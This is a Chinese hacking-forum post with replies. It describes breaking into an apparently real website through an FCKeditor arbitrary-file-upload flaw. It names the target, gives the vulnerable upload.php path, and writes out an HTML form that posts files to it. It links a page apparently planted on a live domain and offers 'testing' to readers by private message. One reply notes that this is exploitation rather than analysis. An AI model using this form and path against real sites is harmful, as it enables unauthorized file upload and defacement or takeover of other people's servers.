一次上传漏洞的分析

3‘server

http://xxx552.com/
目标网站
===========================================
多出漏洞
===========================================
fck漏洞
=====================================
任意文件上传
======================================
神器漏洞扫到
========================================
common/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media
=======================================================
看到这个地址，访问无回显
=======================================================
猜测是一个上传地点
=======================================================
于是自己写了一个表单上传
=======================================================

<form id="frmUpload" enctype="multipart/form-data"

action="127.0.0.1/comxmon/lib/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>
===============================================================================

=========================================================================
写一首非常好听的音乐mv做黑夜吧，好久没玩黑夜了
======================================================================
找回以前的味道
===========================================================================
http://js0552.com/data/fck//1.html
=========================================================================
需要测试的朋友可以找到我微博私信我
=========================================================
www.weibo.com/webitent

浮尘

黑夜不是咋们论坛的大黑阔么

国光nice

浮尘 发表于 2016-2-2 23:08
黑夜不是咋们论坛的大黑阔么

黑夜他说  他退出网络了

wuyan

这个........，叫利用吧，怎么就分析了呢

2858489968

这个........，叫利用吧，怎么就分析了呢

haomoon

楼主谢谢了